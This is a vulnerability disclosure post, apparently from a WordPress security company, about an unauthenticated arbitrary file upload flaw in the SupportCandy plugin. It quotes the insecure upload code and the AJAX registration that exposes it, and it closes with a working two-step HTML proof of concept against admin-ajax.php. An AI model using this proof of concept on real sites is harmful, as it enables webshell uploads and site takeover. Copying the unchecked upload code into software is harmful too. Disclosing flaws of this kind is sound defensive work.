Arbitrary File Upload Vulnerability in SupportCandy
When it comes to security of WordPress plugins, what other security companies generally do is to add protection against vulnerabilities after they have already been widely exploited, which it should be pretty obvious doesn’t produce good results. By comparison, we do proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities, but we only have so much time to do that with the amount of customers we have, so we have a backlog of possible vulnerabilities that didn’t look like serious issues that we haven’t had time to get to. Sometimes, as is the case, with the plugin SupportCandy when the plugin comes up again with that proactive monitoring we realize that vulnerability was more serious, as the plugin contains an arbitrary file upload vulnerability, which is the kind that hackers are likely to exploit.
What is odd about the arbitrary file upload vulnerability is that the developer has had file upload capability that was at least partially secured for some time and then added new functionality that is totally insecure back in January.
The older functionality is in the file /includes/admin/tickets/upload_file.php and restricts what types of files can be uploaded:
$tempExtension = explode('.', $_FILES['file']['name']); $extension = $tempExtension[count($tempExtension)-1]; switch ($extension){ case 'exe': case 'php': case 'js': $isError = true; $errorMessege = __('Error: file format not supported!','supportcandy'); break; } if ( preg_match('/php/i', $extension) || preg_match('/phtml/i', $extension) ){ $isError=true; $errorMessege=__('Error: file format not supported!','supportcandy'); } |
By comparison here is the entirety of the code in the file /includes/admin/tickets/upload_file_rb.php:
3 4 5 6 7 8 9 10 11 12 13 14 15 16 | if ( ! defined( 'ABSPATH' ) ) exit; $upload_dir = wp_upload_dir(); $save_file_name = $_FILES['file']['name']; $save_file_name = str_replace(' ','_',$save_file_name); $save_file_name = str_replace(',','_',$save_file_name); $save_file_name = time().'_'. $save_file_name; $save_directory = $upload_dir['basedir'] . '/wpsc/'.$save_file_name; $file_url = $upload_dir['baseurl'] . '/wpsc/'.$save_file_name; move_uploaded_file( $_FILES['file']['tmp_name'], $save_directory ); echo json_encode($file_url); |
That doesn’t restrict what type of file can be uploaded. It does give the file a unique name by prepending the time it is being uploaded, but that is displayed once the file is uploaded.
The first line of code in that file restricts direct access and even if it didn’t the next line of code would causes a fatal error if the file is accessed directly.
The intended path to access that starts with WordPress’ AJAX functionality as the function tickets() is registered to be accessed through that by both those logged in as well those not logged in:
19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | $ajax_events = array( 'frontend' => true, 'settings' => false, 'custom_fields' => false, 'ticket_list' => false, 'email_notifications' => false, 'support_agents' => false, 'tickets' => true, 'appearance_settings' => false, 'run_db_v2_upgrade' => false, ); foreach ($ajax_events as $ajax_event => $nopriv) { add_action('wp_ajax_wpsc_' . $ajax_event, array($this, $ajax_event)); if ($nopriv) { add_action('wp_ajax_nopriv_wpsc_' . $ajax_event, array($this, $ajax_event)); } } |
That function will cause the code in the file /includes/admin/tickets/tickets_ajax.php to run:
42 43 | public function tickets(){ include WPSC_ABSPATH . 'includes/admin/tickets/tickets_ajax.php'; |
In that file the value of the GET or POST input “setting_action” will be used in a switch statement:
6 7 8 | $setting_action = isset($_REQUEST['setting_action']) ? sanitize_text_field($_REQUEST['setting_action']) : ''; switch ($setting_action) { |
Setting that to “rb_upload_file” will cause the code in vulnerable file upload file to run:
187 | case 'rb_upload_file': include WPSC_ABSPATH . 'includes/admin/tickets/upload_file_rb.php'; |
There is a limitation with that though, which is that directory the file will be upload to doesn’t exist by default, but that can be created by uploading a file through the securer file upload functionality first, which is accessible through that same switch mechanism:
31 | case 'upload_file': include WPSC_ABSPATH . 'includes/admin/tickets/upload_file.php'; |
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since multiple previously full disclosed vulnerabilities were quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.
Proof of Concept
The following proof of concept will upload a file to the location returned with the second request.
Make sure to replace “[path to WordPress]” with the location of WordPress.
This request will create the upload directory when uploading a file not restricted from being uploaded, as shown in the code above:
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=wpsc_tickets&setting_action=upload_file" method="POST" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" value="Submit" /> </form> </body> </html>
This request allows uploading arbitrary files:
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=wpsc_tickets&setting_action=rb_upload_file" method="POST" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" value="Submit" /> </form> </body> </html>
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.